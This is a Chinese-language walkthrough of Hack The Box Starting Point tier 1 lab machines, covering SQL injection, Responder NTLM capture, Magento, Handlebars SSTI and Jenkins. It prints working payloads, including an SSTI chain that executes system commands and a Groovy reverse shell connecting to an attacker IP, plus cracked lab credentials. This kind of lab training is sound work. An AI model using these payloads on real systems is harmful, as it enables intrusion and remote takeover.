目录
Appointment
Sequel
Crocodile
Responder
Ignition
Bike
Pennyworth
Tactics
task 1 What does the acronym SQL stand for?
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统, 可以使用相同的结构化查询语言作为数据输入与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。
task 2 What is one of the most common type of SQL vulnerabilities?
SQL注入sql injection即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
task 3 What does PII stand for?
个人验证信息(PII,personally identifiable information)是有关一个人的任何数据,这些数据能帮助识别这个人,如姓名、指纹或其他生物特征资料、电子邮件地址、电话号码或社会安全号码。
task 4 What does the OWASP Top 10 list name the classification for this vulnerability?
结合上下文,应该是sql注入被OWASP Top 10分类成什么
task 5 What service and version are running on port 80 of the target?
task 6 What is the standard port used for the HTTPS protocol?
443端口即网页浏览端口,主要是用于HTTPS服务,是提供加密和通过安全端口传输的另一种HTTP。在一些对安全性要求较高的网站,比如银行、证券、购物等,都采用HTTPS服务,这样在这些网站上的交换信息,其他人抓包获取到的是加密数据,保证了交易的安全性。
task 7 What is one luck-based method of exploiting login pages?
利用运气登陆页面的方法?暴力破解?
brute-forcing
task 8 What is a folder called in web-application terminology?
web应用术语中文件夹叫什么?
Web目录web directory是网站的在线列表或目录。
task 9 What response code is given for "Not Found" errors?
task 10 What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains?
gobuster发现网站目录用参数dir
task 11 What symbol do we use to comment out parts of the code?
#可以注释sql语句
Submit root flag
有80端口,尝试访问web页面,打开发现是一个登录表单
尝试弱口令无果后,尝试登录处是否存在sql注入
用户名处输入admin' or '1' = '1,密码随意,即可成功登录拿到flag
select * from users where username = 'admin' or '1' = '1' and password ='123'
over
task 1 What does the acronym SQL stand for?
和上一关一样的问题
task 2 During our scan, which port running mysql do we find?
task 3 What community-developed MySQL version is the target running?
nmap
-sC:使⽤默认脚本集执行脚本扫描。它相当于 --script=default。此类别中的某些脚本被认为是侵⼊性的,未经许可不得针对⽬标⽹络运行。
-sV:启⽤版本检测,它将检测哪些版本在什么平台上运行
task 4 What switch do we need to use in order to specify a login username for the MySQL service?
用什么开关来指定mysql的登录用户名?
task 5 Which username allows us to log into MariaDB without providing a password?
经过尝试发现root可以免密登录
mysql -u root -h 10.129.117.126
task 6 What symbol can we use to specify within the query that we want to display everything inside a table?
*
task 7 What symbol do we need to end each query with?
;
Submit root flag
查数据库
使用htb数据库,查表
查看config表
over
task 1 What nmap scanning switch employs the use of default scripts during a scan?
上一关用过了-sC
sC:使⽤默认脚本集执行脚本扫描。相当于脚本=默认。此类别中的⼀些脚本被认为是侵⼊性的,并且未经许可,不得针对⽬标⽹络运行。
task 2 What service version is found to be running on port 21?
task 3 What FTP code is returned to us for the "Anonymous FTP login allowed" message?
允许匿名登陆返回的代码
task 4 What command can we use to download the files we find on the FTP server?
get,之前使用过了
task 5 What is one of the higher-privilege sounding usernames in the list we retrieved?
我们检索到的列表中最高权限的用户名是什么
使用匿名用户登录ftp
把两个文件都下载到本地
查看文件,这些用户里肯定是admin权限最高
task 6 What version of Apache HTTP Server is running on the target host?
task 7 What is the name of a handy web site analysis plug-in we can install in our browser?
我们可以在浏览器中安装的方便的网站分析插件是什么
task 8 What switch can we use with gobuster to specify we are looking for specific filetypes?
gobuster哪一个开关可以指定我们正在寻找的特定文件类型?
task 9 What file have we found that can provide us a foothold on the target?
gobuster dir --url http://10.129.139.38 --wordlist /usr/share/wordlists/dirb/commom.txt -x php
根据提示猜测应该是*****.php,所以使用-x指定php文件进行扫描
SUBMIT FLAG
访问login.php
使用admin和对应的口令登录,登陆成功,获得flag
over
task 1 How many TCP ports are open on the machine?
--min-rate :这⽤于指定 Nmap 每次发送的最⼩数据包数,随着数字的增加,它会加快扫描速度
nmap --min-rate 5000 -p 1-65535 -sV 10.129.132.120
这里也不清楚怎么回事,一开始扫出来3个端口,写入发现错误,再次扫描出现2个端口,填入就过关了,但是官方答案给的却是4个 ,不管了,接着往下把
task 2 When visiting the web service using the IP address, what is the domain that we are being redirected to?
访问web即可知道被重定向至哪个页面,页面报错,刚刚输入的IP被重置为一个域名
task 3 Which scripting language is being used on the server to generate webpages?
因为IP地址被重定向,需要在hosts文件中写入IP到域名的映射
再次访问即可跳转页面 ,借助wappalyzer可以快速知道目标网站使用php语言
task 4 What is the name of the URL parameter which is used to load different language versions of the webpage?
切换语言时,url更改为图中所示
所以用于加载不同语言的url参数是page
task 5 Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
问哪一个参数值是用来利用本地文件包含(LFI)的
选择../../../../../../../../windows/system32/drivers/etc/hosts
task 6 Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
问哪一个参数值是用来利用远程文件包含(RFI)的
选择//10.10.14.6/somefile
task 7 What does NTLM stand for?
New Technology LAN Manager
NTLM是NT LAN Manager的缩写,这也说明了协议的来源。NTLM 是指 telnet 的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。
身份验证过程
1. 客⼾端将⽤⼾名和域名发送给服务器。
2. 服务器⽣成⼀个随机字符串,称为challenge。
3. 客⼾端使⽤⽤⼾密码的 NTLM 哈希加密challenge,并将其发送回客⼾端
4. 服务器检索⽤⼾密码(或等效密码)。
5. 服务器使⽤从安全帐⼾数据库中检索到的哈希值来加密challenge字符串。然后将该值与从客⼾端接收到的值进行⽐较。如果值匹配,则客⼾端通过⾝份验证。
task 8 Which flag do we use in the Responder utility to specify the network interface?
responder程序中使用哪个接口来指定网络接口
task 9 There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.
Responder 可以进行多种不同类型的攻击,但对于这种情况,它会设置⼀个恶意 SMB 服务器。当⽬标机器尝试对该服务器执 行 NTLM ⾝份验证时,响应程序会向服务器发送回⼀个质询,以使⽤⽤⼾密码进行加密。当服务器响应时,Responder 将使⽤质询 和加密响应来⽣成 NetNTLMv2。虽然我们⽆法逆转 NetNTLMv2,但我们可以尝试许多不同的常⽤密码,看看是否有任何密码⽣成 相同的质询-响应,如果找到,我们就知道那是密码。这通常被称为散列破解,我们将使⽤⼀个名为 John The Ripper 的程序来完成。
task 10 What is the password for the administrator user?
启动responder后,通过 Web 浏览器如下设置⻚⾯参数,告诉服务器包含来⾃ SMB 服务器的资源
http://unika.htb/index.php?page=//10.10.16.133/somefile
然后在responder中获取到一些数据
把获取到的hash值保存到一个文件中,使用join去破解
使用john破解hash.txt
john hash.txt -w=/usr/share/wordlists/rockyou.txt
task 11 We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
我们将使用 Windows 服务(即在盒子上运行)使用我们恢复的密码远程访问 Responder 机器。它侦听的 TCP 端口是什么?
就是之前扫描出来的5985端口
SUBMIT FLAG
evil-winrm -i 10.129.132.120 -u administrator -p badminton
然后拿到flag即可
task 1 Which service version is found to be running on port 80?
task 2 What is the 3-digit HTTP status code returned when you visit http://{machine IP}/?
访问页面失败,发现输入的IP地址被重定向至一个域名
则输入IP返回的状态码为302
task 3 What is the virtual host name the webpage expects to be accessed by?
即重定向的页面
task 4 What is the full path to the file on a Linux computer that holds a local list of domain name to IP address pairs?
/etc/hosts
Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
task 5 What is the full URL to the Magento login page?
修改hosts文件,在其中添加IP到域名的映射
再次访问web服务
可以访问之后,尝试使用gobuster扫描目录
gobuster dir --url http://ignition.htb/ --wordlist /usr/share/wordlists/dirb/common.txt
扫出一个/admin,看看是什么,跳转到Magento的登陆页面
task 6 What password provides access as admin to Magento?
已经知道用户名是admin了,本应想到暴力破解,但通关文档提示不应该使用暴力破解,直接按照官方文档给出的答案登陆吧,反正网络也不好
admin:qwerty123
SUBMIT FLAG
成功登陆后,获取flag
over
task 1 What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
nmap -sV -sC -v 10.129.57.46
task 2 What software is running the service listening on the http/web port identified in the first question?
Node.js 是⼀个开源、跨平台的后端 JavaScript 运行时环境,可⽤于构建可扩展的⽹络应⽤程序。
task 3 What is the name of the Web Framework according to Wappalyzer?
Express 是⼀个最⼩且灵活的 Node.js Web 应⽤程序框架,它为 Web 和移动应⽤程序提供了⼀组强⼤的功能。
task 4 What is the name of the vulnerability we test for by submitting {{7*7}}?
Node.js 和 Python Web 后端服务器经常使⽤名为“模板引擎”的软件。
模板引擎⽤于在⽹⻚上显⽰动态⽣成的内容。他们⽤实际值替换模板⽂件中的变量并将这些值显⽰给客⼾端,如果开发⼈员需要创建⼀个包含⽤⼾名、电⼦邮件、⽣⽇和各种其他内容的⽤⼾个⼈资料⻚⾯,那么对于使⽤静态 HTML ⻚⾯的多个不 同⽤⼾来说,即使不是不可能也很难实现。此处将使⽤模板引擎,以及包含个⼈资料⻚⾯基本结构的静态“模板”,然后⼿动填写⽤⼾信息并将 其显⽰给⽤⼾。
模板引擎容易出现的漏洞称为服务器端模板注⼊ (SSTI) Server Side Template Injection
服务器端模板注⼊是攻击者将恶意输⼊注⼊模板以在服务器上执行命令的漏洞。攻击者将本机(到模板引擎)代码注⼊⽹⻚的利⽤技术。然后代码通过模板引擎运行,攻击者在受影响的服务器上执行 代码。这种攻击在 Node.js ⽹站上⾮常常⻅,并且很有可能正在使⽤模板引擎来反映⽤⼾在联系⼈字段中输⼊的电⼦邮件
在网站中输入{{7*7}}并提交,出现以下报错信息
这意味着payload已经被模板引擎检测为有效,只是代码出现错误导致无法执行,可以看到报错信息中第三行,服务器正运行在/root/Backend,且当前使用的模板引擎为handlebars
task 5 What is the templating engine being used within Node.JS?
当前使用的模板引擎为handlebars
task 6 What is the name of the BurpSuite tab used to encode text?
decoder
task 7 In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?
url
task 8 When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?
require
task 9 What variable is the name of the top-level scope in Node.JS?
Global
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{this.push "return require('child_process').exec('whoami');"}} 指⽰服务器执行特定的系统命令
当向 Web 服务器发出请求时,发送的数据只能包含标准 128 字符 ASCII 集中的某些字符。必须对不属于该集合的保留字符进行url编码。
使用burpsuite的encoder对代码进行编码
再次输入刚才的payload,将包发送至repeater,将url编码填入参数email=中,点击send,提示出错
发现服务器报错,尝试修改payload中指示服务器操作的代码为 {{this.push "return process;"}} 按同样进行编码
然后按同样的方式提交,可以看到响应结果正确
修改payload中指示服务器操作的代码为 {{this.push "return process.mainModule;"}}
看看是否可以访问 mainModule
同样没有报错,现在尝试调⽤require并加载模块child_process,因为它在可以默认的 Node.js 中使⽤,并且可⽤于执行系统命令,修改payload中指示服务器操作的代码为
{{this.push "return process.mainModule.require('child_process');"}}
现在成功调⽤require对象并加载了child_process模块,尝试运行系统命令,修改payload中指示服务器操作的代码为
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
task 10 By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
发现web服务器正在以root权限运行,接下来修改payload继续执行相应命令获取到flag
SUBMIT FLAG
ls /root
cat /root/flag.txt
over
task 1 What does the acronym CVE stand for?
Common Vulnerabilities and Exposures 通用漏洞披露
task 2 What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?
信息安全三要素CIA:即机密性,完整性,可用性
Confidentiality, Integrity, Availability
task 3 What is the version of the service running on port 8080?
task 4 What version of Jenkins is running on the target?
需要登录网站,因为目标网站http服务不在默认端口80上,需采用 IP:端口 形式
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成
访问到jenkins登陆页面
尝试jenkins的默认密码,官方给出了几种用户名口令组合,逐个尝试,成功登录
管理页面右下角即Jenkins版本
task 5 What type of script is accepted as input on the Jenkins Script Console?
通过搜索Jenkins脚本控制台得知其实用语言为groovy
task 6 What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?
cmd.exe
task 7 What is a different command than "ip a" we could use to display our network interfaces' information on Linux?
ifconfig
task 8 What switch should we use with netcat for it to use UDP transport mode?
task 9 What is the term used to describe making a target host initiate a connection back to the attacker host?
反弹shell reverse shell
Submit root flag
groove反弹shell
查看连接VPN的IP地址
将IP地址与监听端口写入代码
String host="10.10.16.5";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
在kali机中开启监听
将代码写入jenkins脚本控制台,点击右下角run执行代码
查看flag
over
task 1 Which Nmap switch can we use to enumerate machines when our packets are otherwise blocked by the Windows firewall?
task 2 What does the 3-letter acronym SMB stand for?
Server Message Block
task 3 What port does SMB use to operate at?
task 4 What command line argument do you give to `smbclient` to list available shares?
task 5 What character at the end of a share name indicates it's an administrative share?
$
task 6 Which Administrative share is accessible on the box that allows users to view the whole file system?
C$
task 7 What command can we use to download the files we find on the SMB Share?
get
task 8 Which tool that is part of the Impacket collection can be used to get an interactive shell on the system
按照walkthrough下载impacket
git clone https://github.com/CoreSecurity/impacket.git
cd impacket
python setup.py install
查看可用的python脚本
使用psexec.py连接靶机,获取交互式shell
python psexec.py [email protected]
但是最后还是连接失败了,还是用老办法的好
SUBMIT FLAG
使用smbclient连接
下载flag
over
至此,tier1所有机器全部拿下,整个过程中还是学到了一些东西的,期待tier2,早早打完start point早早拿分